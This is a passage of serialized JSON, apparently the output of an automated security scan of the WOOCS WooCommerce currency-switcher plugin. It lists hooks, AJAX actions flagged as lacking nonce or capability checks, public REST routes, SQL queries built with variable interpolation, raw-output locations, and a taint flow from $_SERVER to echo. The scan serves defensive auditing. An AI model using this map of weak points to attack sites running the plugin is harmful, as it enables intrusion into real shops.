rice_wcdp",507,{"type":386,"name":746,"callback":747,"priority":339,"file":512,"line":748},"woocommerce_available_payment_gateways","woocs_filter_gateways",511,{"type":386,"name":750,"callback":751,"file":512,"line":752},"woocommerce_paypal_payments_localized_script_data","paypal_payments_localized_script_data",516,{"type":352,"name":481,"callback":754,"file":512,"line":755},"init_marketig_woocs",519,{"type":352,"name":757,"callback":757,"priority":339,"file":512,"line":758},"manage_posts_extra_tablenav",523,{"type":352,"name":760,"callback":761,"priority":762,"file":512,"line":763},"woocommerce_my_account_my_orders_column_order-total","override_my_account_orders",777,526,{"type":352,"name":765,"callback":766,"priority":149,"file":512,"line":767},"woocommerce_view_order","override_my_account_order",527,{"type":386,"name":769,"callback":770,"file":512,"line":771},"option_woocommerce_currency_pos","override_woocommerce_currency_pos",530,{"type":352,"name":731,"callback":388,"file":512,"line":773},536,{"type":352,"name":669,"callback":775,"file":512,"line":776},"set_currency_on_order_page",625,{"type":352,"name":353,"callback":778,"file":512,"line":779},"notice_incompatibility_plugin",727,{"type":352,"name":781,"callback":781,"file":512,"line":782},"order_edit_form_tag",730,{"type":386,"name":784,"callback":784,"priority":339,"file":512,"line":785},"woocommerce_admin_order_buyer_name",731,{"type":386,"name":536,"callback":536,"priority":432,"file":512,"line":787},760,{"type":386,"name":789,"callback":789,"priority":432,"file":512,"line":790},"woocommerce_cart_total",851,{"type":386,"name":792,"callback":792,"priority":432,"file":512,"line":793},"woocommerce_cart_item_price",853,{"type":386,"name":795,"callback":795,"priority":432,"file":512,"line":796},"woocommerce_cart_item_subtotal",854,{"type":386,"name":798,"callback":798,"priority":432,"file":512,"line":799},"woocommerce_cart_subtotal",855,{"type":386,"name":801,"callback":801,"priority":432,"file":512,"line":802},"woocommerce_cart_totals_taxes_total_html",857,{"type":386,"name":804,"callback":804,"priority":432,"file":512,"line":805},"woocommerce_cart_tax_totals",858,{"type":386,"name":807,"callback":807,"priority":432,"file":512,"line":808},"woocommerce_cart_shipping_method_full_label",859,{"type":352,"name":792,"callback":810,"priority":508,"file":512,"line":811},"woocs_woocommerce_cart_price_html",862,{"type":386,"name":795,"callback":810,"priority":508,"file":512,"line":813},863,{"type":386,"name":798,"callback":810,"priority":508,"file":512,"line":815},864,{"type":386,"name":789,"callback":810,"priority":508,"file":512,"line":817},865,{"type":352,"name":819,"callback":388,"priority":820,"file":512,"line":821},"admin_bar_menu",250,875,{"type":386,"name":823,"callback":388,"file":512,"line":824},"woocommerce_general_settings",894,{"type":386,"name":550,"callback":550,"priority":432,"file":512,"line":826},3813,{"type":352,"name":353,"callback":388,"file":512,"line":828},5785,{"type":352,"name":830,"callback":831,"priority":47,"file":832,"line":72},"shutdown","save_data","classes\\woocs_session.php",{"type":352,"name":481,"callback":481,"priority":434,"file":834,"line":835},"index.php",200,{"type":386,"name":837,"callback":388,"priority":92,"file":834,"line":838},"woocs_currency_data_manipulation",205,{"type":386,"name":840,"callback":388,"priority":339,"file":834,"line":841},"woocommerce_order_item_get_formatted_meta_data",223,{"type":352,"name":382,"callback":388,"priority":92,"file":834,"line":843},260,{"type":386,"name":845,"callback":388,"file":834,"line":846},"option_woocommerce_price_thousand_sep",270,{"type":386,"name":848,"callback":388,"file":834,"line":534},"option_woocommerce_price_decimal_sep",{"type":386,"name":850,"callback":388,"file":834,"line":851},"woocommerce_product_export_product_query_args",293,{"type":352,"name":853,"callback":388,"file":834,"line":854},"before_woocommerce_init",302,[856,860,864,868,870,873,876,879,883,886,890,894,898,901,903,906,908,911,913,916,917,920,922,925,928,931,934,937,939],{"action":857,"nopriv":50,"callback":858,"hasNonce":50,"hasCapCheck":50,"file":355,"line":859},"woocs_dismiss_alert_","woocs_dismiss_alert",61,{"action":861,"nopriv":50,"callback":862,"hasNonce":50,"hasCapCheck":50,"file":863,"line":249},"woocs_manage_alert","manage_alert","classes\\rate_alert.php",{"action":865,"nopriv":50,"callback":866,"hasNonce":867,"hasCapCheck":867,"file":502,"line":434},"woocs_sd_create","create",true,{"action":869,"nopriv":50,"callback":388,"hasNonce":50,"hasCapCheck":50,"file":502,"line":249},"woocs_sd_delete",{"action":871,"nopriv":50,"callback":872,"hasNonce":867,"hasCapCheck":867,"file":502,"line":400},"woocs_sd_save","save",{"action":874,"nopriv":50,"callback":388,"hasNonce":50,"hasCapCheck":50,"file":502,"line":875},"woocs_sd_get",28,{"action":877,"nopriv":50,"callback":388,"hasNonce":50,"hasCapCheck":50,"file":505,"line":878},"woocs_stat_redraw",52,{"action":880,"nopriv":50,"callback":881,"hasNonce":867,"hasCapCheck":50,"file":512,"line":882},"woocs_update_profiles_data","update_profiles_data",70,{"action":884,"nopriv":50,"callback":885,"hasNonce":867,"hasCapCheck":50,"file":512,"line":252},"woocs_delete_profiles_data","delete_profiles_data",{"action":887,"nopriv":50,"callback":888,"hasNonce":867,"hasCapCheck":867,"file":512,"line":889},"woocs_save_etalon","save_etalon",385,{"action":891,"nopriv":50,"callback":892,"hasNonce":50,"hasCapCheck":50,"file":512,"line":893},"woocs_get_rate","get_rate",386,{"action":895,"nopriv":50,"callback":896,"hasNonce":50,"hasCapCheck":867,"file":512,"line":897},"woocs_add_currencies","add_currencies_ajax",387,{"action":899,"nopriv":50,"callback":899,"hasNonce":50,"hasCapCheck":50,"file":512,"line":900},"woocs_convert_currency",389,{"action":899,"nopriv":867,"callback":899,"hasNonce":50,"hasCapCheck":50,"file":512,"line":902},390,{"action":904,"nopriv":50,"callback":904,"hasNonce":50,"hasCapCheck":50,"file":512,"line":905},"woocs_rates_current_currency",392,{"action":904,"nopriv":867,"callback":904,"hasNonce":50,"hasCapCheck":50,"file":512,"line":907},393,{"action":909,"nopriv":50,"callback":909,"hasNonce":50,"hasCapCheck":50,"file":512,"line":910},"woocs_get_products_price_html",395,{"action":909,"nopriv":867,"callback":909,"hasNonce":50,"hasCapCheck":50,"file":512,"line":912},396,{"action":914,"nopriv":50,"callback":914,"hasNonce":50,"hasCapCheck":50,"file":512,"line":915},"woocs_get_variation_products_price_html",398,{"action":914,"nopriv":867,"callback":914,"hasNonce":50,"hasCapCheck":50,"file":512,"line":193},{"action":918,"nopriv":50,"callback":918,"hasNonce":50,"hasCapCheck":50,"file":512,"line":919},"woocs_get_custom_price_html",401,{"action":918,"nopriv":867,"callback":918,"hasNonce":50,"hasCapCheck":50,"file":512,"line":921},402,{"action":923,"nopriv":50,"callback":923,"hasNonce":50,"hasCapCheck":867,"file":512,"line":924},"woocs_recalculate_order_data",404,{"action":926,"nopriv":50,"callback":926,"hasNonce":50,"hasCapCheck":867,"file":512,"line":927},"woocs_update_order_rate",405,{"action":929,"nopriv":50,"callback":929,"hasNonce":50,"hasCapCheck":50,"file":512,"line":930},"woocs_all_order_ids",406,{"action":932,"nopriv":50,"callback":932,"hasNonce":50,"hasCapCheck":867,"file":512,"line":933},"woocs_recalculate_orders_data",407,{"action":935,"nopriv":50,"callback":935,"hasNonce":50,"hasCapCheck":50,"file":512,"line":936},"woocs_set_currency_ajax",409,{"action":935,"nopriv":867,"callback":935,"hasNonce":50,"hasCapCheck":50,"file":512,"line":938},410,{"action":940,"nopriv":50,"callback":388,"hasNonce":50,"hasCapCheck":50,"file":512,"line":941},"woocommerce_calc_line_taxes",610,[943,949,955],{"namespace":944,"route":945,"methods":946,"callback":388,"permissionCallback":388,"file":512,"line":948},"woocs\u002Fv3","\u002Fcurrency",[947],"GET",537,{"namespace":944,"route":950,"methods":951,"callback":952,"permissionCallback":953,"file":512,"line":954},"\u002Fproduct-price\u002F(?P\u003Cproduct_id>\\d+)",[947],"rest_get_product_price","__return_true",550,{"namespace":944,"route":956,"methods":957,"callback":959,"permissionCallback":953,"file":512,"line":960},"\u002Fproducts-prices",[958],"POST","rest_get_products_prices",575,[962,966,970,973,976,979,982,985],{"tag":963,"callback":964,"file":512,"line":965},"woocs","woocs_shortcode",462,{"tag":967,"callback":968,"file":512,"line":969},"woocs_get_sign_rate","get_sign_rate",463,{"tag":971,"callback":971,"file":512,"line":972},"woocs_converter",464,{"tag":974,"callback":974,"file":512,"line":975},"woocs_rates",465,{"tag":977,"callback":977,"file":512,"line":978},"woocs_show_current_currency",466,{"tag":980,"callback":980,"file":512,"line":981},"woocs_show_custom_price",467,{"tag":983,"callback":983,"file":512,"line":984},"woocs_geo_hello",468,{"tag":986,"callback":987,"file":512,"line":988},"woocs_price","woocs_price_shortcode",469,[],40,{"dangerousFunctions":992,"sqlUsage":993,"outputEscaping":1003,"fileOperations":119,"externalRequests":275,"nonceChecks":1758,"capabilityChecks":482,"bundledLibraries":1759},[],{"prepared":491,"raw":51,"locations":994},[995,998,1000],{"file":428,"line":996,"context":997},67,"$wpdb->get_col() with variable interpolation",{"file":505,"line":547,"context":999},"$wpdb->get_results() with variable interpolation",{"file":505,"line":1001,"context":1002},299,"$wpdb->get_var() with variable interpolation",{"escaped":1004,"rawEcho":663,"locations":1005},1330,[1006,1009,1011,1013,1014,1016,1017,1018,1020,1022,1024,1026,1028,1030,1033,1036,1038,1039,1040,1042,1044,1046,1048,1049,1051,1053,1055,1056,1057,1059,1061,1063,1064,1066,1067,1068,1069,1071,1072,1073,1075,1076,1078,1080,1082,1084,1085,1087,1089,1091,1092,1093,1095,1097,1099,1101,1103,1104,1106,1108,1109,1110,1111,1112,1113,1115,1117,1119,1121,1122,1124,1126,1128,1130,1132,1134,1135,1136,1138,1139,1140,1142,1144,1146,1148,1150,1152,1154,1156,1158,1159,1160,1162,1164,1165,1166,1168,1170,1171,1172,1174,1175,1177,1179,1181,1183,1184,1185,1187,1188,1189,1191,1193,1195,1196,1198,1199,1201,1203,1205,1206,1208,1209,1211,1212,1214,1215,1216,1218,1219,1221,1223,1225,1227,1229,1231,1233,1235,1237,1238,1240,1242,1243,1245,1246,1248,1250,1252,1254,1256,1257,1259,1261,1263,1265,1267,1269,1271,1272,1274,1276,1277,1279,1281,1282,1284,1286,1287,1289,1291,1292,1294,1296,1298,1301,1303,1305,1307,1309,1311,1313,1315,1317,1319,1321,1323,1325,1327,1328,1329,1330,1331,1332,1333,1334,1335,1337,1338,1340,1341,1343,1345,1347,1348,1350,1352,1354,1356,1357,1359,1361,1362,1364,1365,1366,1367,1368,1369,1371,1373,1375,1376,1377,1379,1381,1383,1385,1387,1388,1390,1392,1394,1395,1397,1398,1399,1400,1401,1403,1405,1407,1409,1411,1413,1415,1417,1419,1421,1423,1425,1427,1429,1431,1433,1435,1436,1438,1440,1442,1444,1446,1447,1449,1451,1452,1454,1456,1458,1460,1461,1463,1465,1467,1469,1471,1473,1475,1477,1479,1481,1483,1485,1487,1488,1490,1492,1494,1496,1498,1500,1502,1503,1505,1507,1509,1511,1513,1515,1517,1519,1521,1523,1525,1526,1528,1530,1532,1534,1535,1537,1538,1540,1542,1544,1546,1548,1550,1552,1554,1556,1558,1559,1561,1563,1565,1567,1569,1571,1573,1575,1577,1579,1581,1583,1584,1586,1588,1590,1592,1594,1596,1598,1600,1601,1603,1605,1607,1609,1611,1613,1615,1617,1618,1619,1620,1622,1624,1626,1628,1630,1631,1633,1635,1637,1639,1641,1643,1645,1647,1649,1651,1653,1654,1656,1658,1660,1662,1664,1666,1668,1670,1672,1674,1676,1678,1680,1682,1684,1686,1688,1690,1692,1694,1696,1698,1700,1702,1704,1706,1708,1710,1712,1714,1716,1718,1720,1722,1724,1726,1728,1731,1734,1736,1737,1739,1741,1743,1745,1746,1747,1749,1751,1752,1754,1756],{"file":355,"line":1007,"context":1008},121,"raw output",{"file":355,"line":1010,"context":1008},180,{"file":355,"line":1012,"context":1008},242,{"file":863,"line":363,"context":1008},{"file":863,"line":1015,"context":1008},66,{"file":863,"line":1015,"context":1008},{"file":863,"line":882,"context":1008},{"file":512,"line":1019,"context":1008},1422,{"file":512,"line":1021,"context":1008},1423,{"file":512,"line":1023,"context":1008},1436,{"file":512,"line":1025,"context":1008},1439,{"file":512,"line":1027,"context":1008},2818,{"file":512,"line":1029,"context":1008},5761,{"file":1031,"line":1032,"context":1008},"views\\fixed\\product_price_data.php",79,{"file":1034,"line":1035,"context":1008},"views\\plugin_options.php",325,{"file":1034,"line":1037,"context":1008},329,{"file":1034,"line":1037,"context":1008},{"file":1034,"line":621,"context":1008},{"file":1034,"line":1041,"context":1008},365,{"file":1034,"line":1043,"context":1008},366,{"file":1034,"line":1045,"context":1008},367,{"file":1034,"line":1047,"context":1008},368,{"file":1034,"line":624,"context":1008},{"file":1034,"line":1050,"context":1008},370,{"file":1034,"line":1052,"context":1008},371,{"file":1034,"line":1054,"context":1008},372,{"file":1034,"line":627,"context":1008},{"file":1034,"line":637,"context":1008},{"file":1034,"line":1058,"context":1008},380,{"file":1034,"line":1060,"context":1008},381,{"file":1034,"line":1062,"context":1008},382,{"file":1034,"line":641,"context":1008},{"file":1034,"line":1065,"context":1008},384,{"file":1034,"line":889,"context":1008},{"file":1034,"line":893,"context":1008},{"file":1034,"line":897,"context":1008},{"file":1034,"line":1070,"context":1008},388,{"file":1034,"line":688,"context":1008},{"file":1034,"line":692,"context":1008},{"file":1034,"line":1074,"context":1008},444,{"file":1034,"line":698,"context":1008},{"file":1034,"line":1077,"context":1008},451,{"file":1034,"line":1079,"context":1008},454,{"file":1034,"line":1081,"context":1008},460,{"file":1034,"line":1083,"context":1008},461,{"file":1034,"line":972,"context":1008},{"file":1034,"line":1086,"context":1008},471,{"file":1034,"line":1088,"context":1008},472,{"file":1034,"line":1090,"context":1008},475,{"file":1034,"line":729,"context":1008},{"file":1034,"line":732,"context":1008},{"file":1034,"line":1094,"context":1008},486,{"file":1034,"line":1096,"context":1008},493,{"file":1034,"line":1098,"context":1008},494,{"file":1034,"line":1100,"context":1008},497,{"file":1034,"line":1102,"context":1008},504,{"file":1034,"line":738,"context":1008},{"file":1034,"line":1105,"context":1008},508,{"file":1034,"line":1107,"context":1008},515,{"file":1034,"line":752,"context":1008},{"file":1034,"line":755,"context":1008},{"file":1034,"line":763,"context":1008},{"file":1034,"line":767,"context":1008},{"file":1034,"line":771,"context":1008},{"file":1034,"line":1114,"context":1008},539,{"file":1034,"line":1116,"context":1008},540,{"file":1034,"line":1118,"context":1008},543,{"file":1034,"line":1120,"context":1008},549,{"file":1034,"line":954,"context":1008},{"file":1034,"line":1123,"context":1008},553,{"file":1034,"line":1125,"context":1008},560,{"file":1034,"line":1127,"context":1008},561,{"file":1034,"line":1129,"context":1008},564,{"file":1034,"line":1131,"context":1008},583,{"file":1034,"line":1133,"context":1008},587,{"file":1034,"line":1133,"context":1008},{"file":1034,"line":1133,"context":1008},{"file":1034,"line":1137,"context":1008},620,{"file":1034,"line":1137,"context":1008},{"file":1034,"line":1137,"context":1008},{"file":1034,"line":1141,"context":1008},636,{"file":1034,"line":1143,"context":1008},650,{"file":1034,"line":1145,"context":1008},652,{"file":1034,"line":1147,"context":1008},658,{"file":1034,"line":1149,"context":1008},668,{"file":1034,"line":1151,"context":1008},678,{"file":1034,"line":1153,"context":1008},687,{"file":1034,"line":1155,"context":1008},698,{"file":1034,"line":1157,"context":1008},720,{"file":1034,"line":1157,"context":1008},{"file":1034,"line":1157,"context":1008},{"file":1034,"line":1161,"context":1008},761,{"file":1034,"line":1163,"context":1008},786,{"file":1034,"line":1163,"context":1008},{"file":1034,"line":1163,"context":1008},{"file":1034,"line":1167,"context":1008},790,{"file":1034,"line":1169,"context":1008},810,{"file":1034,"line":1169,"context":1008},{"file":1034,"line":1169,"context":1008},{"file":1034,"line":1173,"context":1008},824,{"file":1034,"line":821,"context":1008},{"file":1034,"line":1176,"context":1008},887,{"file":1034,"line":1178,"context":1008},899,{"file":1034,"line":1180,"context":1008},911,{"file":1034,"line":1182,"context":1008},931,{"file":1034,"line":1182,"context":1008},{"file":1034,"line":1182,"context":1008},{"file":1034,"line":1186,"context":1008},962,{"file":1034,"line":1186,"context":1008},{"file":1034,"line":1186,"context":1008},{"file":1034,"line":1190,"context":1008},978,{"file":1034,"line":1192,"context":1008},981,{"file":1034,"line":1194,"context":1008},990,{"file":1034,"line":1194,"context":1008},{"file":1034,"line":1197,"context":1008},998,{"file":1034,"line":1197,"context":1008},{"file":1034,"line":1200,"context":1008},1042,{"file":1034,"line":1202,"context":1008},1045,{"file":1034,"line":1204,"context":1008},1047,{"file":1034,"line":1204,"context":1008},{"file":1034,"line":1207,"context":1008},1051,{"file":1034,"line":1207,"context":1008},{"file":1034,"line":1210,"context":1008},1071,{"file":1034,"line":1210,"context":1008},{"file":1034,"line":1213,"context":1008},1097,{"file":1034,"line":1213,"context":1008},{"file":1034,"line":1213,"context":1008},{"file":1034,"line":1217,"context":1008},1120,{"file":1034,"line":1217,"context":1008},{"file":1034,"line":1220,"context":1008},1151,{"file":1034,"line":1222,"context":1008},1152,{"file":1034,"line":1224,"context":1008},1171,{"file":1034,"line":1226,"context":1008},1172,{"file":1034,"line":1228,"context":1008},1182,{"file":1034,"line":1230,"context":1008},1183,{"file":1034,"line":1232,"context":1008},1185,{"file":1034,"line":1234,"context":1008},1187,{"file":1034,"line":1236,"context":1008},1188,{"file":1034,"line":1236,"context":1008},{"file":1034,"line":1239,"context":1008},1193,{"file":1034,"line":1241,"context":1008},1195,{"file":1034,"line":1241,"context":1008},{"file":1034,"line":1244,"context":1008},1196,{"file":1034,"line":1244,"context":1008},{"file":1034,"line":1247,"context":1008},1229,{"file":1034,"line":1249,"context":1008},1231,{"file":1034,"line":1251,"context":1008},1234,{"file":1034,"line":1253,"context":1008},1237,{"file":1034,"line":1255,"context":1008},1240,{"file":1034,"line":1255,"context":1008},{"file":1034,"line":1258,"context":1008},1267,{"file":1034,"line":1260,"context":1008},1274,{"file":1034,"line":1262,"context":1008},1312,{"file":1034,"line":1264,"context":1008},1318,{"file":1034,"line":1266,"context":1008},1459,{"file":1034,"line":1268,"context":1008},1463,{"file":1034,"line":1270,"context":1008},1469,{"file":1034,"line":1270,"context":1008},{"file":1034,"line":1273,"context":1008},1476,{"file":1034,"line":1275,"context":1008},1498,{"file":1034,"line":1275,"context":1008},{"file":1034,"line":1278,"context":1008},1504,{"file":1034,"line":1280,"context":1008},1512,{"file":1034,"line":1280,"context":1008},{"file":1034,"line":1283,"context":1008},1518,{"file":1034,"line":1285,"context":1008},1539,{"file":1034,"line":1285,"context":1008},{"file":1034,"line":1288,"context":1008},1558,{"file":1034,"line":1290,"context":1008},1561,{"file":1034,"line":1290,"context":1008},{"file":1034,"line":1293,"context":1008},1567,{"file":1034,"line":1295,"context":1008},1578,{"file":1034,"line":1297,"context":1008},1579,{"file":1299,"line":1300,"context":1008},"views\\plugin_options_2.php",224,{"file":1299,"line":1302,"context":1008},225,{"file":1299,"line":1304,"context":1008},227,{"file":1299,"line":1306,"context":1008},228,{"file":1299,"line":1308,"context":1008},230,{"file":1299,"line":1310,"context":1008},231,{"file":1299,"line":1312,"context":1008},232,{"file":1299,"line":1314,"context":1008},233,{"file":1299,"line":1316,"context":1008},235,{"file":1299,"line":1318,"context":1008},237,{"file":1299,"line":1320,"context":1008},238,{"file":1299,"line":1322,"context":1008},239,{"file":1299,"line":1324,"context":1008},361,{"file":1299,"line":1326,"context":1008},362,{"file":1299,"line":621,"context":1008},{"file":1299,"line":624,"context":1008},{"file":1299,"line":1054,"context":1008},{"file":1299,"line":637,"context":1008},{"file":1299,"line":1058,"context":1008},{"file":1299,"line":1062,"context":1008},{"file":1299,"line":897,"context":1008},{"file":1299,"line":902,"context":1008},{"file":1299,"line":1336,"context":1008},397,{"file":1299,"line":915,"context":1008},{"file":1299,"line":1339,"context":1008},400,{"file":1299,"line":927,"context":1008},{"file":1299,"line":1342,"context":1008},408,{"file":1299,"line":1344,"context":1008},419,{"file":1299,"line":1346,"context":1008},420,{"file":1299,"line":657,"context":1008},{"file":1299,"line":1349,"context":1008},427,{"file":1299,"line":1351,"context":1008},430,{"file":1299,"line":1353,"context":1008},437,{"file":1299,"line":1355,"context":1008},438,{"file":1299,"line":688,"context":1008},{"file":1299,"line":1358,"context":1008},445,{"file":1299,"line":1360,"context":1008},448,{"file":1299,"line":705,"context":1008},{"file":1299,"line":1363,"context":1008},456,{"file":1299,"line":713,"context":1008},{"file":1299,"line":969,"context":1008},{"file":1299,"line":978,"context":1008},{"file":1299,"line":716,"context":1008},{"file":1299,"line":720,"context":1008},{"file":1299,"line":1370,"context":1008},476,{"file":1299,"line":1372,"context":1008},496,{"file":1299,"line":1374,"context":1008},499,{"file":1299,"line":741,"context":1008},{"file":1299,"line":744,"context":1008},{"file":1299,"line":1378,"context":1008},509,{"file":1299,"line":1380,"context":1008},514,{"file":1299,"line":1382,"context":1008},517,{"file":1299,"line":1384,"context":1008},524,{"file":1299,"line":1386,"context":1008},525,{"file":1299,"line":767,"context":1008},{"file":1299,"line":1389,"context":1008},532,{"file":1299,"line":1391,"context":1008},535,{"file":1299,"line":1393,"context":1008},542,{"file":1299,"line":1118,"context":1008},{"file":1299,"line":1396,"context":1008},545,{"file":1299,"line":954,"context":1008},{"file":1299,"line":1123,"context":1008},{"file":1299,"line":1125,"context":1008},{"file":1299,"line":1127,"context":1008},{"file":1299,"line":1402,"context":1008},563,{"file":1299,"line":1404,"context":1008},568,{"file":1299,"line":1406,"context":1008},571,{"file":1299,"line":1408,"context":1008},578,{"file":1299,"line":1410,"context":1008},579,{"file":1299,"line":1412,"context":1008},581,{"file":1299,"line":1414,"context":1008},586,{"file":1299,"line":1416,"context":1008},589,{"file":1299,"line":1418,"context":1008},596,{"file":1299,"line":1420,"context":1008},597,{"file":1299,"line":1422,"context":1008},599,{"file":1299,"line":1424,"context":1008},604,{"file":1299,"line":1426,"context":1008},607,{"file":1299,"line":1428,"context":1008},614,{"file":1299,"line":1430,"context":1008},615,{"file":1299,"line":1432,"context":1008},617,{"file":1299,"line":1434,"context":1008},622,{"file":1299,"line":776,"context":1008},{"file":1299,"line":1437,"context":1008},632,{"file":1299,"line":1439,"context":1008},633,{"file":1299,"line":1441,"context":1008},635,{"file":1299,"line":1443,"context":1008},640,{"file":1299,"line":1445,"context":1008},643,{"file":1299,"line":1143,"context":1008},{"file":1299,"line":1448,"context":1008},651,{"file":1299,"line":1450,"context":1008},653,{"file":1299,"line":1147,"context":1008},{"file":1299,"line":1453,"context":1008},661,{"file":1299,"line":1455,"context":1008},670,{"file":1299,"line":1457,"context":1008},671,{"file":1299,"line":1459,"context":1008},673,{"file":1299,"line":1151,"context":1008},{"file":1299,"line":1462,"context":1008},681,{"file":1299,"line":1464,"context":1008},688,{"file":1299,"line":1466,"context":1008},689,{"file":1299,"line":1468,"context":1008},691,{"file":1299,"line":1470,"context":1008},696,{"file":1299,"line":1472,"context":1008},699,{"file":1299,"line":1474,"context":1008},706,{"file":1299,"line":1476,"context":1008},707,{"file":1299,"line":1478,"context":1008},709,{"file":1299,"line":1480,"context":1008},714,{"file":1299,"line":1482,"context":1008},717,{"file":1299,"line":1484,"context":1008},724,{"file":1299,"line":1486,"context":1008},725,{"file":1299,"line":779,"context":1008},{"file":1299,"line":1489,"context":1008},732,{"file":1299,"line":1491,"context":1008},735,{"file":1299,"line":1493,"context":1008},742,{"file":1299,"line":1495,"context":1008},743,{"file":1299,"line":1497,"context":1008},745,{"file":1299,"line":1499,"context":1008},750,{"file":1299,"line":1501,"context":1008},753,{"file":1299,"line":787,"context":1008},{"file":1299,"line":1504,"context":1008},763,{"file":1299,"line":1506,"context":1008},783,{"file":1299,"line":1508,"context":1008},803,{"file":1299,"line":1510,"context":1008},804,{"file":1299,"line":1512,"context":1008},805,{"file":1299,"line":1514,"context":1008},811,{"file":1299,"line":1516,"context":1008},814,{"file":1299,"line":1518,"context":1008},825,{"file":1299,"line":1520,"context":1008},830,{"file":1299,"line":1522,"context":1008},840,{"file":1299,"line":1524,"context":1008},843,{"file":1299,"line":813,"context":1008},{"file":1299,"line":1527,"context":1008},873,{"file":1299,"line":1529,"context":1008},876,{"file":1299,"line":1531,"context":1008},881,{"file":1299,"line":1533,"context":1008},884,{"file":1299,"line":1176,"context":1008},{"file":1299,"line":1536,"context":1008},889,{"file":1299,"line":1178,"context":1008},{"file":1299,"line":1539,"context":1008},902,{"file":1299,"line":1541,"context":1008},907,{"file":1299,"line":1543,"context":1008},917,{"file":1299,"line":1545,"context":1008},920,{"file":1299,"line":1547,"context":1008},925,{"file":1299,"line":1549,"context":1008},935,{"file":1299,"line":1551,"context":1008},938,{"file":1299,"line":1553,"context":1008},955,{"file":1299,"line":1555,"context":1008},958,{"file":1299,"line":1557,"context":1008},980,{"file":1299,"line":1194,"context":1008},{"file":1299,"line":1560,"context":1008},993,{"file":1299,"line":1562,"context":1008},1004,{"file":1299,"line":1564,"context":1008},1009,{"file":1299,"line":1566,"context":1008},1019,{"file":1299,"line":1568,"context":1008},1020,{"file":1299,"line":1570,"context":1008},1022,{"file":1299,"line":1572,"context":1008},1027,{"file":1299,"line":1574,"context":1008},1030,{"file":1299,"line":1576,"context":1008},1036,{"file":1299,"line":1578,"context":1008},1037,{"file":1299,"line":1580,"context":1008},1039,{"file":1299,"line":1582,"context":1008},1044,{"file":1299,"line":1204,"context":1008},{"file":1299,"line":1585,"context":1008},1053,{"file":1299,"line":1587,"context":1008},1054,{"file":1299,"line":1589,"context":1008},1056,{"file":1299,"line":1591,"context":1008},1061,{"file":1299,"line":1593,"context":1008},1064,{"file":1299,"line":1595,"context":1008},1070,{"file":1299,"line":1597,"context":1008},1073,{"file":1299,"line":1599,"context":1008},1076,{"file":1299,"line":1213,"context":1008},{"file":1299,"line":1602,"context":1008},1110,{"file":1299,"line":1604,"context":1008},1113,{"file":1299,"line":1606,"context":1008},1124,{"file":1299,"line":1608,"context":1008},1134,{"file":1299,"line":1610,"context":1008},1137,{"file":1299,"line":1612,"context":1008},1150,{"file":1299,"line":1614,"context":1008},1159,{"file":1299,"line":1616,"context":1008},1169,{"file":1299,"line":1226,"context":1008},{"file":1299,"line":1230,"context":1008},{"file":1299,"line":1236,"context":1008},{"file":1299,"line":1621,"context":1008},1198,{"file":1299,"line":1623,"context":1008},1201,{"file":1299,"line":1625,"context":1008},1209,{"file":1299,"line":1627,"context":1008},1218,{"file":1299,"line":1629,"context":1008},1221,{"file":1299,"line":1247,"context":1008},{"file":1299,"line":1632,"context":1008},1239,{"file":1299,"line":1634,"context":1008},1242,{"file":1299,"line":1636,"context":1008},1250,{"file":1299,"line":1638,"context":1008},1260,{"file":1299,"line":1640,"context":1008},1263,{"file":1299,"line":1642,"context":1008},1271,{"file":1299,"line":1644,"context":1008},1281,{"file":1299,"line":1646,"context":1008},1284,{"file":1299,"line":1648,"context":1008},1292,{"file":1299,"line":1650,"context":1008},1302,{"file":1299,"line":1652,"context":1008},1305,{"file":1299,"line":1264,"context":1008},{"file":1299,"line":1655,"context":1008},1323,{"file":1299,"line":1657,"context":1008},1333,{"file":1299,"line":1659,"context":1008},1334,{"file":1299,"line":1661,"context":1008},1336,{"file":1299,"line":1663,"context":1008},1341,{"file":1299,"line":1665,"context":1008},1344,{"file":1299,"line":1667,"context":1008},1351,{"file":1299,"line":1669,"context":1008},1352,{"file":1299,"line":1671,"context":1008},1354,{"file":1299,"line":1673,"context":1008},1359,{"file":1299,"line":1675,"context":1008},1362,{"file":1299,"line":1677,"context":1008},1379,{"file":1299,"line":1679,"context":1008},1385,{"file":1299,"line":1681,"context":1008},1386,{"file":1299,"line":1683,"context":1008},1387,{"file":1299,"line":1685,"context":1008},1407,{"file":1299,"line":1687,"context":1008},1451,{"file":1299,"line":1689,"context":1008},1452,{"file":1299,"line":1691,"context":1008},1508,{"file":1299,"line":1693,"context":1008},1509,{"file":1299,"line":1695,"context":1008},1585,{"file":1299,"line":1697,"context":1008},1629,{"file":1299,"line":1699,"context":1008},1639,{"file":1299,"line":1701,"context":1008},1640,{"file":1299,"line":1703,"context":1008},1652,{"file":1299,"line":1705,"context":1008},1653,{"file":1299,"line":1707,"context":1008},1669,{"file":1299,"line":1709,"context":1008},1671,{"file":1299,"line":1711,"context":1008},1812,{"file":1299,"line":1713,"context":1008},1825,{"file":1299,"line":1715,"context":1008},1838,{"file":1299,"line":1717,"context":1008},1851,{"file":1299,"line":1719,"context":1008},1865,{"file":1299,"line":1721,"context":1008},1989,{"file":1299,"line":1723,"context":1008},1993,{"file":1299,"line":1725,"context":1008},2221,{"file":1299,"line":1727,"context":1008},2239,{"file":1729,"line":1730,"context":1008},"views\\shortcodes\\styles\\style-3\\index.php",83,{"file":1732,"line":1733,"context":1008},"views\\shortcodes\\woocs.php",6,{"file":1732,"line":1735,"context":1008},143,{"file":1732,"line":1735,"context":1008},{"file":1738,"line":1733,"context":1008},"views\\shortcodes\\woocs_converter.php",{"file":1740,"line":119,"context":1008},"views\\shortcodes\\woocs_rates.php",{"file":1740,"line":1742,"context":1008},59,{"file":1740,"line":1744,"context":1008},60,{"file":1740,"line":859,"context":1008},{"file":1740,"line":996,"context":1008},{"file":1740,"line":1748,"context":1008},68,{"file":1740,"line":1750,"context":1008},69,{"file":1740,"line":383,"context":1008},{"file":1753,"line":400,"context":1008},"views\\widgets\\converter.php",{"file":1755,"line":400,"context":1008},"views\\widgets\\rates.php",{"file":1757,"line":359,"context":1008},"views\\widgets\\selector.php",8,[1760,1763],{"name":1761,"version":38,"knownCves":1762},"Select2",[],{"name":1764,"version":38,"knownCves":1765},"jQuery",[],[1767,1784,1796,1804,1816,1829,1844,1858,2020,2030,2040,2050],{"entryPoint":1768,"graph":1769,"unsanitizedCount":92,"severity":40},"show_switcher (classes\\reports.php:147)",{"nodes":1770,"edges":1782},[1771,1776],{"id":1772,"type":1773,"label":1774,"file":495,"line":1775},"n0","source","$_SERVER",154,{"id":1777,"type":1778,"label":1779,"file":495,"line":1780,"wp_function":1781},"n1","sink","echo() 